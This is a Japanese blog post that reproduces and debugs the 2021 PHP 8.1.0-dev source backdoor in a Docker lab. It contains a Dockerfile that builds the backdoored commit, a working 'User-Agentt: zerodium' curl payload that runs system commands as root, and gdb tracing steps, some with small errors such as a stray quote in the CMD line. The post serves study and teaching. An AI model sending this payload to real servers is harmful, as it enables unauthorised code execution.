😈

意図的に挿入された脆弱性の実例PHP 8.1.0-dev RCE バックドアを例にとって説明 の動画の実装

に公開

こちらの動画で用いた、phpの脆弱性を含んだバージョンのソースコードにあるバックドアを追跡する目のデバッグ方法です。
https://youtu.be/UrE8RblYmb4?si=TGvjedKaBWqpsRJz

動画の内容

概要

この動画が解決する疑問

バックドアって、具体的にどうやってソースコードに隠されるの?
本物のアタッカーが書いたコードを見てみたい。

疑問の答え

例えば、PHP 8.1.0-dev RCE脆弱性がある。

説明方法

実際にバックドアを利用してみて、脆弱性の再現とデバッガでの追跡を行う。

(時間のある時にここで動画の内容を解説して記事を更新します。)

デバッグ方法

当時の依存関係を再現しないとphpのコンパイル時にエラーが出てしまうので、2021年当時の環境に近い環境をDocker で作成します。
Dockerfile を以下のように定義します。

# 2021年当時の環境に近い安定版を使用
FROM debian:bullseye

# 依存パッケージのインストール
RUN apt-get update && apt-get install -y \
    build-essential \
    autoconf \
    bison \
    re2c \
    libxml2-dev \
    libsqlite3-dev \
    libssl-dev \
    pkg-config \
    git \
    gdb \
    curl \
    zlib1g-dev \
    libpng-dev \
    && rm -rf /var/lib/apt/lists/*

# PHPソースコードの取得(ミラーリポジトリを使用)
WORKDIR /usr/src
RUN git clone https://github.com/php/php-src.git

WORKDIR /usr/src/php-src
# バックドアが混入された特定のコミットへチェックアウト
RUN git checkout 2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a

# ビルド設定(デバッグ有効、不要な拡張をオフにしてビルドを高速化)
RUN ./buildconf --force && \
    ./configure \
    --enable-debug \
    --disable-all \
    --with-zlib \
    --prefix=/usr/local/php-backdoor

# コンパイルとインストール(並列処理で高速化)
RUN make -j$(nproc) && make install

# パスの設定
ENV PATH="/usr/local/php-backdoor/bin:${PATH}"

# 作業ディレクトリ
WORKDIR /var/www/html

# 再現テスト用の簡易サーバ起動スクリプト
RUN echo '<?php echo 123;?>' > index.php
EXPOSE 8080
CMD ["php","-d","zlib.output_compression=Off",""-S","0.0.0.0:8080"]

Docker でビルドし、コンテナを起動します。

# イメージのビルド
docker build -t php-rce-backdoor .
# コンテナの起動
docker run -d -p 8080:8080 --name php-vuln php-rce-backdoor

以下のコードを実行して、バックドアから攻撃してみます。

# 'id' コマンドを実行させるペイロード
curl -H "User-Agentt: zerodium system('id');" http://localhost:8080/

結果は以下のようになり、コードが実行されていることがわかります。

uid=0(root) gid=0(root) groups=0(root)
123

起動したコンテナの中に入ってデバッガで確認します。

# 実行中のコンテナに入る
docker exec -it php-vuln bash
# PHPのプロセスIDを確認
apt update && apt install -y procps
ps aux | grep php
# GDBでアタッチ(バイナリのパスを直接指定)
gdb /usr/local/php-backdoor/bin/php -p <PID>
# ファイルを確認(任意)
(gdb) list ext/zlib/zlib.c:350,380
# 例:367行目(HTTP_USER_AGENTTヘッダーが存在したときに実行されるコードの頭)にブレークポイントを置く
(gdb) b ext/zlib/zlib.c:367
# 実行
(gdb) run
# 別のコンソールで攻撃
curl -H "User-Agentt: zerodium system('id');" http://localhost:8080/

Discussion